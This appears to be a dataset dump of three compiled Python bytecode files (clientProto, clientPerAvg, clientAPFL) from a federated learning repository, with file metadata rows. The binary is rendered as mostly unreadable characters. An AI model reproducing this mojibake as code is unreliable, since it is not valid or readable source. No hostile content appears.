B ®ûec ã@s`ddlmZddlZddlZddlmZddlZddlZddl m Z Gdd„de ƒZ dd„Z dS)é)Ú defaultdictN)ÚClientcs>eZdZ‡fdd„Zdd„Zdd„Zdd„Zd d d „Z‡ZS) Ú clientProtoc sxtƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ t |jj   ¡ƒdjd|_d|_d|_t ¡|_|j|_dS)N)Úlrré)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚlistÚ predictorÚshapeZ feature_dimÚprotosÚ global_protosÚMSELossÚloss_mseÚlamda)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úH/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientproto.pyr s  zclientProto.__init__c Cs| ¡}t ¡}|j |j¡|j ¡|j}|jrFtj   d|d¡}t t ƒ}�xrt |ƒD�]d}�x\t|ƒD�]N\}\}}t|ƒtgƒkr |d |j¡|d<n | |j¡}| |j¡}|jrØt dt tj  ¡¡¡|j ¡|j |¡} |j | ¡} | | |¡} |jdk�rjt | ¡} x6t|ƒD]*\}} |  ¡}|j|j| |dd…f<�q&W| | | | ¡|j7} x>t|ƒD]2\}} |  ¡}|| | |dd…f  ¡j¡�qtW|  !¡|j "¡qlWqZW|j #¡t$|ƒ|_%|j&dd7<|j&dt ¡|7<dS)Nrérgš™™™™™¹?Ú num_roundsÚ total_cost)'Úload_train_dataÚtimerÚtoÚdeviceÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintrrÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradÚbaserr rr Ú zeros_likeÚitemÚdatarrÚappendÚdetachÚbackwardÚstepÚcpuÚagg_funcrÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsrr?ÚiÚxÚyÚrepÚoutputr Z proto_newÚyyÚy_cr"r"r#r+sF         &  zclientProto.traincCst |¡|_dS)N)ÚcopyÚdeepcopyr)rrr"r"r#Ú set_protosNszclientProto.set_protosc Cs | ¡}|j |j¡|j ¡ttƒ}t ¡�ÒxÊt |ƒD]¾\}\}}t |ƒt gƒkrn|d |j¡|d<n | |j¡}| |j¡}|j r¦t   dt tj ¡¡¡|j ¡|j |¡}x<t |ƒD]0\}}| ¡}|| ||dd…f ¡j¡qÆWq<WWdQRXt|ƒ|_|j ¡dS)Nrgš™™™™™¹?)r'rr)r*Úevalrrr Úno_gradr2r3r-r(r4r.r5r/r6rr7r8r:r<r=r;rArr@) rrCrrFrGrHrIrKrLr"r"r#Úcollect_protosQs&      2 zclientProto.collect_protosNc CsL| ¡}|dkr|j}|j |j¡| ¡d}d}t ¡�öxî|D]æ\}}t|ƒtgƒkrr|d |j¡|d<n | |j¡}| |j¡}|j |¡}t dƒt  |j d|j ¡ |j¡}x@t |ƒD]4\} } x*|j ¡D]\} } | | | ¡|| | f<qØWqÄW|t tj|dd�|k¡ ¡7}||j d7}qDWWdQRX|j ¡||dfS)NrÚinfr)Údim)Úload_test_datarr)r*rPr rQr3r8ÚfloatÚonesrÚ num_classesr2rÚitemsrÚsumÚargminr:r@) rrÚ testloaderÚtest_accÚtest_numrGrHrIrJrFÚrÚjÚpror"r"r#Ú test_metricsjs,    $  zclientProto.test_metrics)N) Ú__name__Ú __module__Ú __qualname__rr+rOrRrbÚ __classcell__r"r")r!r#r s  3rcCsjxd| ¡D]X\}}t|ƒdkrVd|dj}x|D]}||j7}q2W|t|ƒ||<q |d||<q W|S)z- Returns the average of the weights. rr)rYÚlenr;)rÚlabelÚ proto_listÚprotorFr"r"r#rA‰s  rA) Ú collectionsrrMr Útorch.nnr Únumpyr.r(Úflcore.clients.clientbaserrrAr"r"r"r#Ú<module>s   ~
4,011
Python
.py
44
89.886364
465
0.398438
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,698
clientperavg.cpython-39.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientperavg.cpython-39.pyc
a f¾`c‡ã@sXddlZddlZddlZddlZddlmZddlmZddl m Z Gdd„de ƒZ dS)éN)ÚPerAvgOptimizer)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientPerAvgc sFtƒj||||fi|¤�|j|_t ¡|_t|j  ¡|jd�|_ dS)N)Úlr) ÚsuperÚ__init__Ú learning_rateÚbetaÚnnÚCrossEntropyLossÚlossrÚmodelÚ parametersÚ optimizer)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs©Ú __class__©úu/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientperavg.pyr s zclientPerAvg.__init__c Csp| |jd¡}t ¡}|j ¡|j}|jr@tj  d|d¡}t |ƒD�]ô}|D�]è\}}t   t |j ¡ƒ¡}t|ƒtgƒkr¾ddg}|dd|j… |j¡|d<|dd|j…|d<n|d|j… |j¡}|d|j… |j¡} |j�r t dt tj ¡¡¡|j ¡| |¡} | | | ¡} |  ¡|j ¡t|ƒtgƒk�r�ddg}|d|jd… |j¡|d<|d|jd…|d<n||jd… |j¡}||jd… |j¡} |j�rÜt dt tj ¡¡¡|j ¡| |¡} | | | ¡} |  ¡t|j ¡|ƒD]\} } | j ¡| _�q|jj|jd�qRqH|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?©r Ú num_roundsÚ total_cost)Úload_train_dataÚ batch_sizeÚtimer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚcopyÚdeepcopyÚlistrÚtypeÚtoÚdeviceÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚstepÚzipÚdataÚcloner Útrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsr4ÚXÚYZ temp_modelÚxÚyÚoutputr Ú old_paramÚ new_paramrrrr"sN        zclientPerAvg.traincCs | |j¡}t|ƒ}|j ¡t|ƒ\}}t|ƒtgƒkrP|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}|  ||¡}|  ¡|j   ¡t|ƒ\}}t|ƒtgƒkrÌ|d |j¡|d<n | |j¡}| |j¡}|j   ¡| |¡}|  ||¡}|  ¡|j j |jd�dS)Nrr)Úload_test_datar Úiterr r"Únextr,r-r.rr2r r3r4r )rZ testloaderZiter_testloaderr>r?r@r rrrÚtrain_one_stepNs.               zclientPerAvg.train_one_step)Ú__name__Ú __module__Ú __qualname__rr"rFÚ __classcell__rrrrr s :r) Únumpyr%Útorchr!r)Útorch.nnr Úflcore.optimizers.fedoptimizerrÚflcore.clients.clientbaserrrrrrÚ<module>s   
2,779
Python
.py
37
73.972973
230
0.406125
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)
2,286,699
clientapfl.cpython-37.pyc
hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientapfl.cpython-37.pyc
B Úfcâ ã@sLddlZddlZddlmZddlZddlZddlmZGdd„deƒZ dS)éN)ÚClientcs,eZdZ‡fdd„Zdd„Zdd„Z‡ZS)Ú clientAPFLc sntƒj||||f|�t ¡|_tjj|j  ¡|j d�|_ |j |_ t  |j¡|_tjj|j  ¡|j d�|_dS)N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ parametersÚ learning_rateÚ optimizerÚalphaÚcopyÚdeepcopyÚ model_perÚ optimizer_per)ÚselfÚargsÚidÚ train_samplesÚ test_samplesÚkwargs)Ú __class__©úG/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientapfl.pyr s  zclientAPFL.__init__c CsÎ| ¡}t ¡}|j |j¡|j |j¡|j ¡|j}|jrTt j   d|d¡}xôt |ƒD]è}xât |ƒD]Ö\}\}}t|ƒtgƒkr�|d |j¡|d<n | |j¡}| |j¡}|jrÖt dt  t j  ¡¡¡|j ¡| |¡}| ||¡} |  ¡|j ¡|j ¡| |¡} | | |¡} |  ¡|j ¡| ¡qlWq^Wx>t|j ¡|j ¡ƒD]$\} } d|j| |j| | _�qbW|j ¡|j ¡|jdd7<|jdt ¡|7<dS)Néérgš™™™™™¹?Ú num_roundsÚ total_cost)Úload_train_dataÚtimerÚtoÚdevicer ÚtrainÚ local_stepsÚ train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandrÚ zero_gradr ÚbackwardÚsteprÚ alpha_updateÚziprrÚdataÚcpuÚtrain_time_cost)rÚ trainloaderÚ start_timeÚmax_local_stepsr5ÚiÚxÚyÚoutputr Z output_perZloss_perÚlpÚprrrr'sB               zclientAPFL.traincCsªd}xjt|j ¡|j ¡ƒD]P\}}|j|j}|j|jjd|j|jj}|| d¡j  | d¡¡7}qW|d|j7}|j|j ||_t   |j  ¡dd¡|_dS)Nrréÿÿÿÿg{®Gáz”?ggğ?)r7r rrr8rÚgradÚviewÚTÚdotrr*ÚclipÚitem)rZ grad_alphaZl_paramsZp_paramsZdifrErrrr6@s    zclientAPFL.alpha_update)Ú__name__Ú __module__Ú __qualname__rr'r6Ú __classcell__rr)rrr s ,r) rr Útorch.nnrÚnumpyr*r$Úflcore.clients.clientbaserrrrrrÚ<module>s   
2,394
Python
.py
33
71.393939
233
0.428027
hkgdifyu/pFedPT
8
3
0
GPL-2.0
9/5/2024, 10:48:09 PM (Europe/Amsterdam)